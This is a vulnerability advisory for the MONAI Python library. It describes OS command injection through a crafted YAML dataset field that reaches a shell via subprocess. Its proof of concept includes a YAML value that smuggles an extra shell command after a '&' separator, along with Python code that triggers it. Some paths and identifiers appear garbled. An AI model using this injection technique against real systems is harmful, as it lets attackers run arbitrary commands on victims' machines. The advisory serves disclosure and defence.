PT-2026-83383 · Pypi · Monai
Published
2026-08-18
·
Updated
2026-08-18
CVSS v4.0
8.6
High
| Vector | AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Comment from JPCERT/CC
We are submitting the report again as we have yet to receive
any responses from you after submitting it on February 5 and March 11.
It would be greatly appreciated if you could send us a message
after confirming it so that we can follow up the case by email.
Summary
MONAI vulnerable to OS command injection.
Details
This library concatenates user-controlled values (YAML's
"dataset name or id" or part of "CLI/kwargs")
without quoting or validation. Since this string is passed to subprocess
with shell=True,
shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.
As a result, arbitrary commands can be concatenated and executed.
Therefore, the reporter identifies this as CWE-78 (OS Command Injection).
The victim needs to load a crafted YAML file in the code that launches
training/validation jobs
based on the configuration (YAML/arguments). There are no other constraints.
PoC
Verified on Windows.
Load a modified YAML file with crafted "dataset name or id" as follows.
Add command separator characters (such as & or ;) and insert arbitrary
commands.
dataset name or id: '4 & echo "This is exploited" >
"C:UsersshimaOneDriveDesktoptmptest.txt" & rem'
dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data
datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json
work dir: C:/Users/shima/OneDrive/Desktop/tmp/work
nnunet raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet raw
nnunet preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet preprocessed
nnunet results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet results
As a victim, verify running the following Python code to load and
process the YAML file.
from monai.apps.nnunet.nnunetv2 runner import nnUNetV2Runner
from pathlib import Path
#Path of the crafted YAML file
YAML = r"C:UsersshimaOneDriveDesktoptmptest.yaml"
#Text file overwritten when command executes
OUT = Path(r"C:UsersshimaOneDriveDesktoptmptest.txt")
#Read YAML
runner = nnUNetV2Runner(input config=YAML,
trainer class name="nnUNetTrainer")
runner.train single model(config="3d fullres", fold=0, gpu id=0)
#Verify command execution
print("Result:", OUT.read text(encoding="utf-8").strip())
Also, see the attached file.
JVN#50379904-details.zip
Fix
OS Command Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Monai